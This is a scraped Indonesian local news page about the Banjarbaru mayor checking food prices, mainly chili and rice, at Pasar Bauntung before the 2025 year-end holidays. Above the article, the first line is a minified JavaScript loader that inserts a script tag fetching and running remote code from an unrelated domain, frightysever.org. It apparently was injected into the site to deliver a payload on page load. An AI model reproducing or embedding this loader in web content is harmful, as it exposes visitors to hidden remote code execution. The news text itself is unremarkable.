(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Menjelang momentum Hari Besar Keagamaan Nasional (HBKN) Tim Pengendali Inflasi Daerah (TPID) Pemerintah Kota Banjarbaru menggelar inspeksi ke sejumlah ritel modern dan pasar tradisional, Jumat (5/12/2025).
Salah satunya cek harga pangan dilakukan ke sejumlah los kios di Pasar Bauntung Banjarbaru.
Selain memastikan tidak ada kenaikan harga bahan pokok dan pangan di pasar, Wali Kota Banjarbaru Erna Lisa Halaby, memimpin cek harga dan memastikan stok kebutuhan terpenuhi saat libut Natal 2025 dan Tahun Baru 2026.
Salah satu komoditas seperti bahan pangan yang menjadi perhatian dia yakni cabai. Lisa mendapati adanya kenaikan harga cabai potong per kilogram.
Baca juga: Bantu Korban Bencana “Brewing of Charity” Toko Kopi Tcap Abah
“Alhamdulillah dari beberapa bahan pokok yang dijual dan hari ini harganya masih tetap aman. Tapi ada satu yang harganya tinggi yaitu cabai,” ujar Wali Kota Banjarbaru Erna Lisa Halaby, Jumat (5/12/2025).
Informasi pedagang, Lisa mendapati lonjakan harga cabai dipengaruhi karena berkurangannya pasokan cabai lokal di Kalsel.
Adapun harga cabai saat ini sudah mencapai Rp70 ribu sampai Rp100 ribu per kilogram.
Baca juga: Pemkab Kapuas Menggelar Sosialisasi RAD
“Informasinya pasokan bahan lokal sudah habis dan menipis untuk Banjarbaru sehingga mereka mengambil dari luar. Di mana cabai dari luar dijual ke sini sehingga harganya berkisar menjadi Rp70 ribu sampai Rp100 ribu per kilogramnya, seperempat tadi Rp25 ribu,” jelasnya.
Di sisi lain Wali Kota Lisa memastikan bahan pokok dan pangan lainnya di Pasar Bauntung masih tergolong aman untuk persediaan, seperti bawang dan beras
“Kalau bawang Insya Allah masih aman, untuk Nataru seperti beras Insya Allah untuk beras aman sampai Ramadhan,” ungkapnya.
Berkaitan dengan agenda rutinan Malam Senin Momen 5 Rajab dirinya memastikan pasokan terkendali di Pasar Bauntung Banjarbaru.
Baca juga: GMPD Banjarbaru Bagikan Sembako kepada Janda Lansia
“Insya Allah tidak ada penumpukan, pasokannya aman untuk Banjarbaru,” tutup Lisa.
Sementara itu salah satu toko yang dikunjungi ini adalah toko milik bernama Muhammad Zuhdiannor yang menjual beras lokal maupun beras Jawa.
Dirinya mengklaim meski ada kenaikan harga beras Banjar dipastikan stok aman.
“Ada kenaikan kalau beras Banjar, ada yang naik Rp1.000 per liter nya, ada yang Rp500 naiknya seperti jenis Mayang dan Siam,” ujar pedagang beras Pasar Bauntung Banjarbaru.
Baca juga: Sambut 5 Rajab Sekumpul, Bandara Syamsudin Noor Siapkan Posko Layanan
Ia menyebutkan harga beras Banjar jenis Mayang dihargai Rp12.500 sampai Rp13.000. Sedangkan beras Banjar jenis Siam berharga Rp11.500 sampai Rp12.000 per liter.
“Sudah setengah bulannya naiknya, karena stoknya yang enggak ada banyak atau kurang gitu tahun tadi kan banyak yang rusak hasil taninya. Tapi sekarang stoknya aman saja,” tutupnya. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
This website uses cookies.